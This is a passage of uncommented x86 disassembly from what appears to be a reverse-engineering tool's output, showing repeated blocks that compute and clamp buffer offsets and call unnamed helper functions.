mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
mov edx, dword [ebp - 0xf8]
push edx
push 2
call fcn.0056e990
add esp, 0x10
push 0
lea eax, [ebp - 0x248]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, 1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x248]
cmp eax, dword [ebp - 0x8c]
jg 0x56a5eb
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x26c], 0xffffff22
mov dword [ebp - 0x278], 0xffffffff
cmp dword [ebp - 0x278], 0xffffffff
je 0x56a331
cmp dword [ebp - 0x278], 4
jne 0x56a34b
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x26c], eax
jmp 0x56a505
cmp dword [ebp - 0x278], 0
jne 0x56a40b
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x56a374
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x254], eax
jmp 0x56a406
push 0
lea eax, [ebp - 0x26c]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x26c]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x56a3d1
mov eax, dword [ebp - 0x26c]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x254], ecx
mov eax, dword [ebp - 0x26c]
add eax, 1
mov dword [ebp - 0x26c], eax
jmp 0x56a406
mov eax, dword [ebp - 0x26c]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x254], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x26c], eax
jne 0x56a406
mov dword [ebp - 0x26c], 0xffffff22
jmp 0x56a505
cmp dword [ebp - 0x278], 2
jne 0x56a4ad
push 0
lea eax, [ebp - 0x26c]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x26c]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x254], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x26c], eax
jg 0x56a465
cmp dword [ebp - 0x254], 0
jg 0x56a476
mov eax, dword [ebp - 0x26c]
sub eax, 1
mov dword [ebp - 0x26c], eax
jmp 0x56a48d
mov eax, dword [ebp - 0x26c]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x254], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x26c], eax
jne 0x56a4ab
mov dword [ebp - 0x26c], 0xffffff22
jmp 0x56a505
cmp dword [ebp - 0x278], 3
jne 0x56a4f6
push 0
lea eax, [ebp - 0x26c]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x26c], eax
jne 0x56a4f4
mov dword [ebp - 0x26c], 0xffffff22
jmp 0x56a505
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0
jge 0x56a518
mov dword [ebp - 0x254], 0
mov eax, dword [ebp - 0x254]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x260], eax
mov eax, dword [ebp - 0x260]
cmp eax, dword [ebp - 0x14]
jle 0x56a53e
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x260], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x278], 4
jne 0x56a57e
mov eax, dword [ebp - 0x260]
sub eax, dword [ebp - 0x254]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x254]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x56a5c7
cmp dword [ebp - 0x278], 2
jne 0x56a596
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x56a5a0
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x260]
sub edx, dword [ebp - 0x254]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x254]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x26c], 0xffffff22
je 0x56a5e9
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x26c]
push ecx
call fcn.00532078
add esp, 8
jmp 0x56a5f7
push 0
push 0
call fcn.00535287
add esp, 8
mov dword [ebp - 0x2c], 0
jmp 0x56bac3
cmp dword [ebp - 0x14], 0
jne 0x56a627
mov eax, dword [ebp + 0xc]
push eax
call fcn.005352e1
add esp, 4
test eax, eax
je 0x56a627
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x44], eax
jmp 0x56ace6
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jge 0x56a990
mov dword [ebp - 0x284], 0
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
mov edx, dword [ebp - 0xf8]
push edx
push 2
call fcn.0056e990
add esp, 0x10
push 0
lea eax, [ebp - 0x284]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x8c]
lea edx, [ecx + eax - 1]
cmp dword [ebp - 0x284], edx
jl 0x56a986
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x29c], 0
mov dword [ebp - 0x2a8], 0xffffff22
mov dword [ebp - 0x2b4], 1
cmp dword [ebp - 0x2b4], 0xffffffff
je 0x56a6cc
cmp dword [ebp - 0x2b4], 4
jne 0x56a6e6
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x2a8], eax
jmp 0x56a8a0
cmp dword [ebp - 0x2b4], 0
jne 0x56a7a6
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x56a70f
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x290], eax
jmp 0x56a7a1
push 0
lea eax, [ebp - 0x2a8]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x2a8]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x56a76c
mov eax, dword [ebp - 0x2a8]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x290], ecx
mov eax, dword [ebp - 0x2a8]
add eax, 1
mov dword [ebp - 0x2a8], eax
jmp 0x56a7a1
mov eax, dword [ebp - 0x2a8]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x290], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x2a8], eax
jne 0x56a7a1
mov dword [ebp - 0x2a8], 0xffffff22
jmp 0x56a8a0
cmp dword [ebp - 0x2b4], 2
jne 0x56a848
push 0
lea eax, [ebp - 0x2a8]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x2a8]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x290], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x2a8], eax
jg 0x56a800
cmp dword [ebp - 0x290], 0
jg 0x56a811
mov eax, dword [ebp - 0x2a8]
sub eax, 1
mov dword [ebp - 0x2a8], eax
jmp 0x56a828
mov eax, dword [ebp - 0x2a8]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x290], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x2a8], eax
jne 0x56a846
mov dword [ebp - 0x2a8], 0xffffff22
jmp 0x56a8a0
cmp dword [ebp - 0x2b4], 3
jne 0x56a891
push 0
lea eax, [ebp - 0x2a8]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x2a8], eax
jne 0x56a88f
mov dword [ebp - 0x2a8], 0xffffff22
jmp 0x56a8a0
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0
jge 0x56a8b3
mov dword [ebp - 0x290], 0
mov eax, dword [ebp - 0x290]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x29c], eax
mov eax, dword [ebp - 0x29c]
cmp eax, dword [ebp - 0x14]
jle 0x56a8d9
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x29c], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x2b4], 4
jne 0x56a919
mov eax, dword [ebp - 0x29c]
sub eax, dword [ebp - 0x290]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x290]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x56a962
cmp dword [ebp - 0x2b4], 2
jne 0x56a931
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x56a93b
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x29c]
sub edx, dword [ebp - 0x290]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x290]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x2a8], 0xffffff22
je 0x56a984
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x2a8]
push ecx
call fcn.00532078
add esp, 8
jmp 0x56a98b
call fcn.00535d4f
jmp 0x56acdf
cmp dword [ebp - 0x14], 0
jg 0x56acdf
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532b86
add esp, 4
test eax, eax
jne 0x56acdf
mov eax, dword [ebp + 0xc]
push eax
call fcn.005325eb
add esp, 4
cmp dword [ebp - 0x140], eax
jl 0x56acdf
mov eax, dword [ebp + 8]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0053309f
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
call fcn.00533603
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2d8], 0xffffff22
mov dword [ebp - 0x2e4], 1
cmp dword [ebp - 0x2e4], 0xffffffff
je 0x56aa27
cmp dword [ebp - 0x2e4], 4
jne 0x56aa41
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c0], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x2d8], eax
jmp 0x56abfb
cmp dword [ebp - 0x2e4], 0
jne 0x56ab01
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x56aa6a
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x2c0], eax
jmp 0x56aafc
push 0
lea eax, [ebp - 0x2d8]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x2d8]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x56aac7
mov eax, dword [ebp - 0x2d8]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x2c0], ecx
mov eax, dword [ebp - 0x2d8]
add eax, 1
mov dword [ebp - 0x2d8], eax
jmp 0x56aafc
mov eax, dword [ebp - 0x2d8]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x2c0], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x2d8], eax
jne 0x56aafc
mov dword [ebp - 0x2d8], 0xffffff22
jmp 0x56abfb
cmp dword [ebp - 0x2e4], 2
jne 0x56aba3
push 0
lea eax, [ebp - 0x2d8]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x2d8]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x2c0], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x2d8], eax
jg 0x56ab5b
cmp dword [ebp - 0x2c0], 0
jg 0x56ab6c
mov eax, dword [ebp - 0x2d8]
sub eax, 1
mov dword [ebp - 0x2d8], eax
jmp 0x56ab83
mov eax, dword [ebp - 0x2d8]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x2c0], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x2d8], eax
jne 0x56aba1
mov dword [ebp - 0x2d8], 0xffffff22
jmp 0x56abfb
cmp dword [ebp - 0x2e4], 3
jne 0x56abec
push 0
lea eax, [ebp - 0x2d8]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x2c0], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x2d8], eax
jne 0x56abea
mov dword [ebp - 0x2d8], 0xffffff22
jmp 0x56abfb
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0
jge 0x56ac0e
mov dword [ebp - 0x2c0], 0
mov eax, dword [ebp - 0x2c0]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x2cc], eax
mov eax, dword [ebp - 0x2cc]
cmp eax, dword [ebp - 0x14]
jle 0x56ac34
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2cc], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x2e4], 4
jne 0x56ac74
mov eax, dword [ebp - 0x2cc]
sub eax, dword [ebp - 0x2c0]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x2c0]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x56acbd
cmp dword [ebp - 0x2e4], 2
jne 0x56ac8c
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x56ac96
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x2cc]
sub edx, dword [ebp - 0x2c0]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x2c0]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x2d8], 0xffffff22
je 0x56acdf
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x2d8]
push ecx
call fcn.00532078
add esp, 8
mov dword [ebp - 0x2c], 0
jmp 0x56bac3
lea eax, [ebp - 0x74]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00535aa7
add esp, 0xc
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x74]
mov dword [ebp - 0x38], eax
jmp 0x56bac3
push 0
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00535aa7
add esp, 0xc
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x74]
mov dword [ebp - 0x38], eax
jmp 0x56bac3
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
mov edx, dword [ebp - 0xf8]
push edx
push 2
call fcn.0056e990
add esp, 0x10
cmp dword [ebp - 0x14], 0
jg 0x56b09f
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532b86
add esp, 4
test eax, eax
jne 0x56b09a
mov eax, dword [ebp + 0xc]
push eax
call fcn.005325eb
add esp, 4
cmp dword [ebp - 0x140], eax
jl 0x56b09a
mov eax, dword [ebp + 8]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0053309f
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
call fcn.00533603
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x2f0], 0
mov dword [ebp - 0x2fc], 0
mov dword [ebp - 0x308], 0xffffff22
mov dword [ebp - 0x314], 0xffffffff
cmp dword [ebp - 0x314], 0xffffffff
je 0x56ade2
cmp dword [ebp - 0x314], 4
jne 0x56adfc
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2f0], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x308], eax
jmp 0x56afb6
cmp dword [ebp - 0x314], 0
jne 0x56aebc
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x56ae25
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x2f0], eax
jmp 0x56aeb7
push 0
lea eax, [ebp - 0x308]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x308]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x56ae82
mov eax, dword [ebp - 0x308]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x2f0], ecx
mov eax, dword [ebp - 0x308]
add eax, 1
mov dword [ebp - 0x308], eax
jmp 0x56aeb7
mov eax, dword [ebp - 0x308]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x2f0], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x308], eax
jne 0x56aeb7
mov dword [ebp - 0x308], 0xffffff22
jmp 0x56afb6
cmp dword [ebp - 0x314], 2
jne 0x56af5e
push 0
lea eax, [ebp - 0x308]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x308]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x2f0], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x308], eax
jg 0x56af16
cmp dword [ebp - 0x2f0], 0
jg 0x56af27
mov eax, dword [ebp - 0x308]
sub eax, 1
mov dword [ebp - 0x308], eax
jmp 0x56af3e
mov eax, dword [ebp - 0x308]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x2f0], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x308], eax
jne 0x56af5c
mov dword [ebp - 0x308], 0xffffff22
jmp 0x56afb6
cmp dword [ebp - 0x314], 3
jne 0x56afa7
push 0
lea eax, [ebp - 0x308]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x2f0], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x308], eax
jne 0x56afa5
mov dword [ebp - 0x308], 0xffffff22
jmp 0x56afb6
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0
jge 0x56afc9
mov dword [ebp - 0x2f0], 0
mov eax, dword [ebp - 0x2f0]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x2fc], eax
mov eax, dword [ebp - 0x2fc]
cmp eax, dword [ebp - 0x14]
jle 0x56afef
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2fc], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x314], 4
jne 0x56b02f
mov eax, dword [ebp - 0x2fc]
sub eax, dword [ebp - 0x2f0]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x2f0]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x56b078
cmp dword [ebp - 0x314], 2
jne 0x56b047
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x56b051
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x2fc]
sub edx, dword [ebp - 0x2f0]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x2f0]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x308], 0xffffff22
je 0x56b09a
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x308]
push ecx
call fcn.00532078
add esp, 8
jmp 0x56b398
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x320], 0
mov dword [ebp - 0x32c], 0
mov dword [ebp - 0x338], 0xffffff22
mov dword [ebp - 0x344], 0xffffffff
cmp dword [ebp - 0x344], 0xffffffff
je 0x56b0e0
cmp dword [ebp - 0x344], 4
jne 0x56b0fa
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x320], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x338], eax
jmp 0x56b2b4
cmp dword [ebp - 0x344], 0
jne 0x56b1ba
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x56b123
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x320], eax
jmp 0x56b1b5
push 0
lea eax, [ebp - 0x338]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x338]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x56b180
mov eax, dword [ebp - 0x338]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x320], ecx
mov eax, dword [ebp - 0x338]
add eax, 1
mov dword [ebp - 0x338], eax
jmp 0x56b1b5
mov eax, dword [ebp - 0x338]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x320], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x338], eax
jne 0x56b1b5
mov dword [ebp - 0x338], 0xffffff22
jmp 0x56b2b4
cmp dword [ebp - 0x344], 2
jne 0x56b25c
push 0
lea eax, [ebp - 0x338]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x338]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x320], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x338], eax
jg 0x56b214
cmp dword [ebp - 0x320], 0
jg 0x56b225
mov eax, dword [ebp - 0x338]
sub eax, 1
mov dword [ebp - 0x338], eax
jmp 0x56b23c
mov eax, dword [ebp - 0x338]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x320], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x338], eax
jne 0x56b25a
mov dword [ebp - 0x338], 0xffffff22
jmp 0x56b2b4
cmp dword [ebp - 0x344], 3
jne 0x56b2a5
push 0
lea eax, [ebp - 0x338]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x320], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x338], eax
jne 0x56b2a3
mov dword [ebp - 0x338], 0xffffff22
jmp 0x56b2b4
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0
jge 0x56b2c7
mov dword [ebp - 0x320], 0
mov eax, dword [ebp - 0x320]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x32c]
cmp eax, dword [ebp - 0x14]
jle 0x56b2ed
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x344], 4
jne 0x56b32d
mov eax, dword [ebp - 0x32c]
sub eax, dword [ebp - 0x320]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x320]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x56b376
cmp dword [ebp - 0x344], 2
jne 0x56b345
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x56b34f
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x32c]
sub edx, dword [ebp - 0x320]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x320]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x338], 0xffffff22
je 0x56b398
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x338]
push ecx
call fcn.00532078
add esp, 8
jmp 0x56bac3
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
mov edx, dword [ebp - 0xf8]
push edx
push 2
call fcn.0056e990
add esp, 0x10
cmp dword [ebp - 0x14], 0
jg 0x56b710
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532b86
add esp, 4
test eax, eax
jne 0x56b70b
mov eax, dword [ebp + 0xc]
push eax
call fcn.005325eb
add esp, 4
cmp dword [ebp - 0x140], eax
jl 0x56b70b
mov eax, dword [ebp + 8]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0053309f
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
call fcn.00533603
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x350], 0
mov dword [ebp - 0x35c], 0
mov dword [ebp - 0x368], 0xffffff22
mov dword [ebp - 0x374], 1
cmp dword [ebp - 0x374], 0xffffffff
je 0x56b453
cmp dword [ebp - 0x374], 4
jne 0x56b46d
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x368], eax
jmp 0x56b627
cmp dword [ebp - 0x374], 0
jne 0x56b52d
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x56b496
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x350], eax
jmp 0x56b528
push 0
lea eax, [ebp - 0x368]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x368]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x56b4f3
mov eax, dword [ebp - 0x368]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x350], ecx
mov eax, dword [ebp - 0x368]
add eax, 1
mov dword [ebp - 0x368], eax
jmp 0x56b528
mov eax, dword [ebp - 0x368]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x350], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x368], eax
jne 0x56b528
mov dword [ebp - 0x368], 0xffffff22
jmp 0x56b627
cmp dword [ebp - 0x374], 2
jne 0x56b5cf
push 0
lea eax, [ebp - 0x368]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x368]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
